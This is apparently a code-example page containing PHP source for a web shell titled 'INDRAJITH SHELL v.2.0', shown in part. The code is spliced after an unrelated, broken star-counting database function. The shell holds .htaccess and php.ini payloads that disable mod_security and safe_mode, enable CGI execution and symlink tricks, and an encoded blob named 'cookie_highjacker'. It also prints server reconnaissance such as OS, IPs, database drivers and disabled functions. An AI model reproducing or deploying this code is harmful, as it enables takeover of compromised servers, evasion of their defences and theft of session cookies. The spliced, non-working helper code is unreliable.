예제 #1
0
function get_stars_from_id($id, $stars = 0)
{
    $id = mysqlx()->quote($id);
    $chars = mysqlx()->query("select bestFame from classstats where accId={$id};")->fetch(PDO::FETCH_ASSOC);
    while ($_stars = $chars) {
        if ($_stars >= 2000) {
            $stars += 5;
        } elseif ($_stars >= 800) {
            $stars += 4;
        } elseif ($_stars >= 400) {
            $stars += 3;
        } elseif ($_stars >= 150) {
            $stars += 2;
        } elseif ($_stars >= 20) {
            $stars += 1;
        }
    }
    return $stars;
}
$s_htaccess = "<IfModule mod_security.c>\nSec------Engine Off\nSec------ScanPOST Off\n</IfModule>";
$s_htaccess_pl = "Options FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .sh\nAddHandler cgi-script .pl\nAddHandler cgi-script .pl";
$sym_htaccess = "Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None\nSatisfy Any";
$sym_php_ini = "safe_mode=OFF\ndisable_functions=NONE";
$forbid_dir = "Options -Indexes";
$cookie_highjacker = "rVVdc5pAFH13xv9wh3Eipq22M3miasaJGGmNWsS2mU6HQVyEFlnCLkk7If+9d8EPCKFtpuVB2d1z7z177gf1Wvc8dMN6rXP6av/AJQlIZHGyBouBBaEVcaAOaNOhPninGWNYjNXJBMKIfiM2h53Zaadec+LA5h4N0AXX5nKrXruv1wAfzwF5QzgJbmVpbBhz82KiqVPD1OZSC05OgPHIthixt2El7CVIcfA9oHeB1GplXnfOxdPwQuhBle3bDPiQ/RGfkTKjz+Zopn8a6EN1KN5+z6sEfja7koc/cNTVq5mhmoPhsJpaAfMcRgXDCiIeY4TLDXOh6h9V/UszZ9P8mjKqOHtEtgL1N3QrTMuEK+wPEYoWEeFxFMiIEXd/yJWxTzdDi1u5QkbQhG56kk0Dx9vE2CaIY23+g++dNmxKv3ukQPfDUtWvzYWha9PLA99GRDYe4yQyNz5dWT5DE3lFqd8CL/BMzI3cPEJSRHOfHJGQkn2rm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vNEewXVurfgy+6fnJ8lfnt6htd6lklRineb1XbJfCxKIwuoP";
/*----------------------- Top Menu ------------------------------------------*/
if ($safemode == "On") {
    echo "<div id='alert'><a class=\"alert_red\" href=\"#alert\">Safe Mode : <font color=green>ON</font></a></div>";
} else {
    echo "<div id='alert'><a class=\"alert_green\" href=\"#alert\">Safe Mode : <font color=red>OFF</font></a></div>";
}
echo "<script src=\"http://code.jquery.com/jquery-latest.js\"></script><script>\$(\"#alert\").delay(2000).fadeOut(300);</script>";
echo "<title>INDRAJITH SHELL v.2.0</title><div id=result>\n<table>\n    <tbody>\n        <tr>\n            <td style='border-right:1px solid #104E8B;' width=\"300px;\">\n            <div style='text-align:center;'>\n                <a href='?' style='text-decoration:none;'><h1>INDRAJITH</h1></a><font color=blue>MINI SHELL</font>\n            </div>\n            </td>\n            <td>\n            <div class=\"header\">OS</font> <font color=\"#666\" >:</font>\n            " . $ox . " </font> <font color=\"#666\" >|</font> " . php_uname() . "<br />\n            Your IP : <font color=red>" . $your_ip . "</font> <font color=\"#666\" >|</font> Server IP : <font color=red>" . $srvr_ip . "</font> <font color=\"#666\" > | </font> Admin <font color=\"#666\" > : </font> <font color=red> {$admin} </font> <br />\n            MySQL <font color=\"#666\" > : </font>";
echo mysqlx();
echo "<font color=\"#666\" > | </font> Oracle <font color=\"#666\" > : </font>";
echo oraclesx();
echo "<font color=\"#666\" > | </font> MSSQL <font color=\"#666\" > : </font>";
echo mssqlx();
echo "<font color=\"#666\" > | </font> PostGreySQL <font color=\"#666\" > : </font>";
echo postgreyx();
echo "<br />cURL <font color=\"#666\" > : </font>";
echo curlx();
echo "<font color=\"#666\" > | </font>Total Space<font color=\"#666\" > : </font>";
echo disc_size();
echo "<font color=\"#666\" > | </font>Free Space<font color=\"#666\" > : </font>";
echo freesize();
echo "<br />Software<font color=\"#666\" > : </font><font color=red>{$srvr_sof}</font><font color=\"#666\" > | </font> PHP<font color=\"#666\" > : </font><a style='color:red; text-decoration:none;' target=_blank href=?phpinfo>" . phpversion() . "</a>\n            <br />Disabled Functions<font color=\"#666\" > : </font></font><font color=red>";
echo disabled_functns() . "</font><br />";
if ($os == 'win') {